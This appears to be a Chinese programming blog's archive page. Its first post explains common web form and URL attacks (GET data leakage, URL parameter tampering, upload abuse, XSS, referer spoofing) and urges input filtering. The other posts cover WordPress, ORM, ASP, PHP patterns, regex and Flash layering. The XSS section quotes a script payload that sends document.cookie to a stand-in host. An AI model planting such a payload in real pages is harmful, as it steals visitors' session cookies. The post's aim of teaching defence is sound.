表单及URL攻击的几种方法

Posted by & filed under Programming.

有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击,因为用户数据过滤不完全会导致很多很多问题,我这里只是简单的介绍几种比较常见的表单及URL攻击方式,希望读者能够最大限度的注意过滤用户输入。 1)表单数据泄漏攻击 这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,比如,用户登录时候用了GET方法,导致用户名和密码都在URL上直接显示出来了,当然假如真的傻到这种程度,这种应用大多还是属于自己玩玩的东西,不是产品。还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用可以在浏览器上执行的脚本,比如JavaScript对密码和用户加密后提交到服务器,而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率,当然如果你的加密程度能超过或者接近现在流行的公共加密算法,那么也是可以的:) 2)语义URL攻击 这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:http://example.org/private.php?user=abc&email=abc@11.org,那么产生的攻击也很简单,只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据 3)文件上传攻击 文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你在客户端中只是简单的限制了一下,那些对于心怀不轨者都是摆设,太容易绕开了。假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者,但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文本而已。 4)跨站脚本攻击 跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。 所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。 比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>,结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。 5)HTTP请求欺骗攻击 所谓上有政策下有对策,很多项目为了最大程度的得到高可信度的用户输入,甚至添加了判断referer的功能,可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。 毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题,所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议,针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方式变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个错误页面而已

twitter tools 修改版发布

Posted by & filed under Programming.

昨晚稍微改动了一下,wordpress的twitter tools插件代码,使它能在调用最新twitter信息的时候能够根据需要决定是否取出最新的几条信息,默认值是最新的一条,并且在最外面套上了ul标签,每条消息用li标签套住。这样方便做对在页面css中对插件输出作出适当的控制。输出的具体格式如下 <ul> <li> 我怎么这么晚还没睡? <a href="http://twitter.com/muxi/statuses/1615269841">11 hrs ago</a> </li> <li> 终于开始写论文了,神啦,我这么懒!! <a href="http://twitter.com/muxi/statuses/1615229846">11 hrs ago</a> </li> <li> css => cross site scripting <a href="http://twitter.com/muxi/statuses/1311036569">2009-03-11</a> </li> </ul> 调用方法如下: <?php aktt_latest_tweet($number); ?> $number这个参数是可选的,默认是取出最新一条twitter信息,根据需要输入你需要的数字,比如我用的是3 使用这个插件需要注意的是不能同cos-html-cache这个插件一同使用,因为江东的这个插件要只有在文章更新的时候才会重新生成新的HTML页面,假如你跟我一样,选择将twitter信息放在首页,那么只能取消这个插件了。 等我有时间的时候会自己写个高定制度的HTML页面缓存插件 最所以在这里发布修改过的 twitter tools 插件,主要是因为这个插件使用的是GPL协议,也考虑到会有朋友需要更新几条信息。虽然twitter tools 有内置的sidebar的函数,似乎并好用,标签冗余比较多。 修改版twitter tools 下载:Box.net

修改的wordpress纯白简洁主题

Posted by & filed under Programming.

很早之前,我一直想做个wordpress主题,理由是Google出来的号称“简洁主题” 的皮肤,似乎都是在耍个性,要么弄的全黑,要么弄得乱七八糟,估计这些设计者所谓的简洁主题是指功能安排方面的,或者是代码方面? 主题是基于Bob的Limau Orange,整体布局没有动过,我修改了几乎所有CSS属性,并新增了几个css定义,增加了几个模板函数,所以我在最后打上了由我修改的印记,应该不算过分吧。 修改过的模板通过了firefox 3.0.6的测试,IE 7测试也正常,在IE 6下最上面我自定义的导航会跑到右边去,怀疑是float属性导致的,等晚上有时间修正一下,暂时不予理会。 如果你觉得修改过的模板比较符合你的审美习惯,或者是你也想尝试一下这种纯白模板的感觉,你可以在此留言,或者是找我聊天,我会打包发到你邮箱 。因为是修改的,所以不便于重新发布。有时间再自己弄一个,到时候再发布,呵呵。 PS:通过这次修改这个wordpress纯白主题,实际上得到两个最大的收获: 1、字体大小(font-size:14px;)为14个像素看起来是最爽的,神仙告诉我,14个像素是人眼能接受的最清楚的字体大小。 2、行间距(line-height:150%)为150%时是刚好合适的,既看起来不太挤,也看起来不太空,很好。 update: IE 6下的移动在李老师的帮助下问题已经解决,原来是我记错了,我一直深信IE下有double padding 问题,原来是double margin,唉,这记忆真不可靠,在这里笔记一下。 另外,我将博客的显示宽度从960大幅调整到1200似乎不是个好的策略,至少bus很多员工使用的X61都是1024的宽度,这样浏览器会出现横着的滚动条,花开同学说,他曾经使用800×600分辨率时就特憎恨那些超过800的网页,不过暂时我不准备改,下一步我可能会去掉很多东西,比如两边的侧边栏,或者直接自己弄一个模板。

为什么要做持久化和ORM设计

Posted by & filed under Programming.

在目前的企业应用系统设计中,MVC,即 Model(模型)- View(视图)- Control(控制)为主要的系统架构模式。MVC 中的 Model 包含了复杂的业务逻辑和数据逻辑,以及数据存取机制(如 JDBC的连接、SQL生成和Statement创建、还有ResultSet结果集的读取等)等。将这些复杂的业务逻辑和数据逻辑分离,以将系统的紧耦合关系转化为松耦合关系(即解耦合),是降低系统耦合度迫切要做的,也是持久化要做的工作。MVC 模式实现了架构上将表现层(即View)和数据处理层(即Model)分离的解耦合,而持久化的设计则实现了数据处理层内部的业务逻辑和数据逻辑分离的解耦合。而 ORM 作为持久化设计中的最重要也最复杂的技术,也是目前业界热点技术。 简单来说,按通常的系统设计,使用 JDBC 操作数据库,业务处理逻辑和数据存取逻辑是混杂在一起的。 一般基本都是如下几个步骤: 1、建立数据库连接,获得 Connection 对象。 2、根据用户的输入组装查询 SQL 语句。 3、根据 SQL 语句建立 Statement 对象 或者 PreparedStatement 对象。 4、用 Connection 对象执行 SQL语句,获得结果集 ResultSet 对象。 5、然后一条一条读取结果集 ResultSet 对象中的数据。 6、根据读取到的数据,按特定的业务逻辑进行计算。 7、根据计算得到的结果再组装更新 SQL 语句。 8、再使用 Connection 对象执行更新 SQL 语句,以更新数据库中的数据。 7、最后依次关闭各个 Statement 对象和 Connection 对象。 由上可看出代码逻辑非常复杂,这还不包括某条语句执行失败的处理逻辑。其中的业务处理逻辑和数据存取逻辑完全混杂在一块。而一个完整的系统要包含成千上万个这样重复的而又混杂的处理过程,假如要对其中某些业务逻辑或者一些相关联的业务流程做修改,要改动的代码量将不可想象。另一方面,假如要换数据库产品或者运行环境也可能是个不可能完成的任务。而用户的运行环境和要求却千差万别,我们不可能为每一个用户每一种运行环境设计一套一样的系统。 所以就要将一样的处理代码即业务逻辑和可能不一样的处理即数据存取逻辑分离开来,另一方面,关系型数据库中的数据基本都是以一行行的数据进行存取的,而程序运行却是一个个对象进行处理,而目前大部分数据库驱动技术(如ADO.NET、JDBC、ODBC等等)均是以行集的结果集一条条进行处理的。所以为解决这一困难,就出现 ORM… Read more »

学习一下ASP

Posted by & filed under Programming.

三年前,当我为网页三剑客这个词而激动不已的时候的,开始接触这个编程语言,在动网一统天下的时候,这个语言是非常流行的,那时纯粹是为了好玩,而如今当我差不多都忘记这门语言的时候,却需要它来混学分,真是可笑~~ 好了,不说了,就算我在这里写上万言书,明天下午依然要奔赴考场,去拿我的那三个必修课的学分,虽然我一直怀疑学校这个时候开这门课是因为教师的思维和水平严重固化和滞后导致他们无法教授其他的编程语言,但在知识都是相通的幌子下,我只能默默的去考试,能及格强于一切理由。 用ASP写个分页吧,就算回忆一下“童年”的记忆Set conn = Server.CreateObject(“ADODB.Connection”) conn.ConnectionString = “driver ={Microsoft Access Driver (*.mdb)};dbq”& _Server.MapPath(“personal.mdb”) conn.open() Set rs = conn.excute(“select * from abc”) rs.pageSize = 5 curPage = Request.QueryString(“page”) =”” ? 1 :Request.QueryString(“page”) rs.absolutepage = curPage For i = 1 To rs.pagesize If rs.eof Then Exit For End If response.write(rs(“info_content”)) rs.moveNext Next If curPage = 1… Read more »

PHP设计模式–单列模式

Posted by & filed under Programming.

关于单列模式: BookSingleton.php 单列模式可以将其本身的实例分配到其他的类中。 //copyright Lawrence Truett and FluffyCat.com 2005, all rights reserved   class BookSingleton {   private $author = ‘Gamma, Helm, Johnson, and Vlissides’; private $title = ‘Design Patterns’; private static $book = NULL; private static $isLoanedOut = FALSE;   private function __construct() { }   static function borrowBook() { if (FALSE == self::$isLoanedOut)… Read more »

【翻译】PHP设计模式手册与实例—抽象工厂

Posted by & filed under Programming.

关于抽象工厂 在抽象工厂设计模式中,抽象工厂决定了什么样的对象是非抽象的,哪些具体的工厂需要被创建。 具体工厂必须建立正确的对象的范围,确保所有被具体工厂所创建的对象能够在给定条件下正常的工作。 在这个例子中我们有一个抽象工厂 AbstractBookFactory,指定的两个类AbstractPHPBook和AbstractMySQLBook ,他们需要具体工厂来创建。 实例类OReillyBookfactory继承自AbstractBookFactory,并且可以创建OReillyMySQLBook 和 OReillyPHPBook类。 AbstractBookFactory.php //copyright Lawrence Truett and FluffyCat.com 2007 abstract class AbstractBookFactory {   abstract function makePHPBook();   abstract function makeMySQLBook();   }

自定义Google搜索引擎—-美化

Posted by & filed under Programming.

好几个朋友之前问过我有关Google自定义搜索的美化,之前我一直在Bus工作,只是在QQ上应付几句完事。现在刚好请假,有点时间,自己弄了一下,发现其实一点不复杂,只需要基本的HTML知识就可以搞定了。 问我自定义搜索的朋友大致有两类,一个是嫌程序本身自带的搜索太烂,比如wordpress就是,还有一个是为了赚$,当然这个需要和Google Adense帐号绑定,本文不打算介绍这部分内容,因为我的Adense帐号不知为何故就被Google告知作弊,然后就莫名其妙的封掉了,我对天发誓,我没有做过弊,帐号中仅有的几美元也随之飞灭,从此我对Google Adense失去兴趣。 要自定义Google搜索,首先你当然需要有个Google自定义搜索,没有的同学,可以去这里申请一个,过程超级简单,Google有帮助功能,此处略去数千字。

正则表达式入门之顺序环视(lookahead)

Posted by & filed under Programming.

在 以前的编码过程中,总是遇到货币数值的问题,比如¥10000000,根据习惯,¥10,000,000更容易阅读,我从前的做法很复杂,要先计算字符串的位数,然后根据位数再决定将第一个逗号放在第一位数字后面还是第二、第三位,后面的数字每个三位加上一个逗号,最后一位不加逗号,设计如此复杂的算法的原因是我没办法,像手动添加逗号一样,自右向左添加每三个数字添加一个逗号,当然也可能是我愚钝,高人会有更好的解决方法。如果您刚好知道一个更好的算法,请告诉,我会感谢您的。 正则表达有个叫lookahead的东西,我也不知道为什么翻译成顺序环视,姑且就这么叫吧,知道是这么回事就行了。顺序环视是自左至右查看文本,尝试匹配子表达式,如果能够匹配,就返回匹配成功信息。顺序环视又分为肯定型顺序环视和逆序环视,解决上面问题,当然是用到逆序环视了。 肯定型顺序环视用的特殊序列是:?=……来表示,省略号表示需要匹配的内容,匹配的顺序是习惯性匹配即自左向右,例如:?=\d,它表示如果位置右边的字符是数字则匹配成功,另一种环视的特殊序列是:?<=……来表示,例如:?<=\d,它表示如果当前位置的左边有一位是数字则匹配成功. 现在来解决本文开始部分提出的数字问题,代码段如下: /(?<=\d)(?=(\d{3})+\b)/,/g 对代码段解释如下: (?<=\d)是要限定匹配的位置,保证数字字符串刚好是3的倍数的时候不会出现  ,200,000  这种情况,即逗号的左边是必须有数字的 (?=(\d{3})+\b)是查询每个三个数字的位置,有意思的是段不匹配任何文本,而只是匹配一个位置,所以如果你试图输出每个匹配,那么显示的结果将是NULL g表示全局替换,跟i表示忽略大小写一样的用法 顺序环视还有其他的内容,我们这里只用到肯定逆序环视和肯定顺序环视,还有否定逆序环视和否定顺序环视,读者可以举一反三,从名称上揣测他们的用法,顺带着找一些资料阅读下便可,这里不再赘述

在IE和Firefox中将Flash至于最底层

Posted by & filed under Programming.

当一个网页的中既加入了弹出DIV效果,也有flash影片时,就会出现弹出层被flash挡住,这时候就需要将flash权重降低,至于网页的最底层,而且flash必须设置成透明,否则仍然会遮住,代码如下: <div  style=”z-index:-1;padding-top:10px; text-align:center; border:0;”>// 这里设置Z-index= -1将包含flash的层至于最底层 <object classid=”clsid:D27CDB6E-AE6D-11cf-96B8-444553540000″ width=”1003″ height=”490″ codebase=”http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab”> <param name=”movie” value=”wall2.swf” /> <param name=”quality” value=”high” /> <param name=”bgcolor” value=”#000000″ /> <param name=”allowScriptAccess” value=”sameDomain” /> <embed src=”wall2.swf” quality=”high” bgcolor=”#000000″ width=”1003″ height=”490″ name=”wall2″ align=”middle” play=”true” loop=”false” quality=”high” wmode=”Opaque” // 这里设置针对firefox的透明效果 allowScriptAccess=”sameDomain” type=”application/x-shockwave-flash” pluginspage=”http://www.adobe.com/go/getflashplayer”> </embed> <param name=”wmode” value=”Opaque”> // 这里设置针对IE的透明效果 </object> </div>